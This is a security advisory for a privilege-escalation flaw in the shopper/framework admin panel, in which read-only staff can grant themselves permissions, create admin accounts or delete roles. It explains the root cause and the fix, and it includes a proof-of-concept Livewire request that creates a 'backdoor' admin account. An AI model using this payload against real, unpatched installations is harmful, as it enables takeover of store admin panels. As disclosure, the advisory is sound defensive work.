high · 8.8CVE-2026-56828Sep 11, 2026

CVE-2026-56828: shopper/framework Privilege Escalation via Livewire Misconfigured Authorization

Rohit Hatagale
AI Security Researcher, SecureLayer7

A staff user with only read-level access to the Shopper admin panel can grant themselves full admin permissions, create new admin accounts, or delete roles, because three Livewire components guard…

Packageshopper/framework
Ecosystemcomposer
Affected>= 2.8.0, < 2.9.2
Fixed in2.9.2
CVE-2026-56828: shopper/framework Privilege Escalation via Livewire Misconfigured Authorization

The problem

In shopper/framework >= 2.8.0 and < 2.9.2, the Livewire components Settings/Team/Permissions, SlideOvers/CreateTeamMember, and Pages/Settings/Team/RolePermission all gate destructive or state-mutating actions on the view_users permission rather than the correct access_setting permission.

A real-world "support" or "viewer" staff account (holding only view_users + access_dashboard, per Shopper's own PermissionsTableSeeder) can: (1) toggle or remove any RBAC permission row to self-escalate; (2) create a new admin-role user with a chosen password and log in as them; (3) delete arbitrary roles, breaking every account assigned to them.

The CVSS 3.1 score is 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Proof of concept

A working proof-of-concept for CVE-2026-56828 in shopper/framework, with the exact payload below.

http
POST /livewire/update HTTP/1.1
Host: target.example
Content-Type: application/json
X-Livewire: true
Cookie: <session of view_users-only staff account>

{
  "components": [{
    "snapshot": "<captured snapshot token for CreateTeamMember component>",
    "updates": {},
    "calls": [{
      "path": "",
      "method": "store",
      "params": []
    }]
  }],
  "_token": "<csrf>"
}

// Component state (set via prior wire:model updates before calling store()):
// display_name = "backdoor"
// email       = "attacker@evil.com"
// password    = "Password123!"
// role_id     = <id of 'admin' role>   ← selectable because only 'user' role is filtered out

// Result: new verified admin account created; log in normally and own the panel.

// Alternatively, call togglePermission on Permissions component:
// "method": "togglePermission", "params": [<permission_id>]
// Permission IDs are leaked directly in wire:click handlers in the blade template.

The root cause is a copy-paste authorization error introduced in the security commit at fcd0c59. That commit moved most write actions from view_users to access_setting, but missed five call sites across three files, including one file (CreateTeamMember.php) that the commit itself created.

CreateTeamMember::store() calls $this->authorize('view_users') before creating a User with email_verified_at = now() and any selected role_id. Because only the user role is excluded from the role_id radio options, the admin role is freely selectable.

The Permissions blade template also leaks every permission's database ID in wire:click attributes, so an attacker does not need to guess IDs to exploit togglePermission.

RolePermission::deleteAction has no ->authorize() chain at all; page-level mount only requires view_users, so any role with can_be_removed = true can be deleted outright. Shopper's own regression tests confirm all three attack paths pass against the vulnerable code (CWE-285, CWE-862).

The fix

Upgrade to shopper/framework >= 2.9.2. The patch replaces $this->authorize('view_users') with $this->authorize('access_setting') in Permissions::togglePermission, Permissions::removePermission, CreateTeamMember::mount, and CreateTeamMember::store, and adds ->authorize('access_setting') to RolePermission::deleteAction.

The two affected regression tests were also updated to use access_setting instead of view_users so they correctly reflect the privilege boundary going forward.

Reported by Vishal Shukla (@shukla304).

References: [1][2]

Related research